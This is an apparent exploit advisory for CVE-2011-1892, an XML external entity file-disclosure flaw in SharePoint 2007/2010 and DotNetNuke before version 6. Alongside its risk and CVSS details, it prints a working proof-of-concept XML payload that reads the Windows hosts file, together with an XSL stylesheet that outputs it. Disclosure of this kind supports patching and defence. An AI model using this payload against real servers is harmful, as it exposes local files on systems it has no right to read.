File disclosure via XEE in SharePoint 2007/2010 and DotNetNuke < 6

2011.09.20

Credit: Nicolas Gregoire

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2011-1892

CWE: CWE-200

CVSS Base Score: 4/10

Impact Subscore: 2.9/10

Exploitability Subscore: 8/10

Exploit range: Remote

Attack complexity: Low

Authentication: Single time

Confidentiality impact: Partial

Integrity impact: None

Availability impact: None

Exploit Title: File disclosure via XEE in SharePoint and DotNetNuke
Date: September 15, 2011
Author: Nicolas Gregoire
Version: SharePoint 2007 / 2010, DotNetNuke < 6
CVE : CVE-2011-1892

poc filename: xee.xml

<!DOCTYPE doc [
<!ENTITY boom SYSTEM "c:\\windows\\system32\\drivers\\etc\\hosts">
]>
<doc>&boom;</doc>

poc filename: xee.xsl

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
        <xsl:template match="/">
        <xsl:apply-templates/>
                <xsl:value-of select="doc"/>
        </xsl:template>
</xsl:stylesheet>

References:

http://technet.microsoft.com/en-us/security/bulletin/MS11-074

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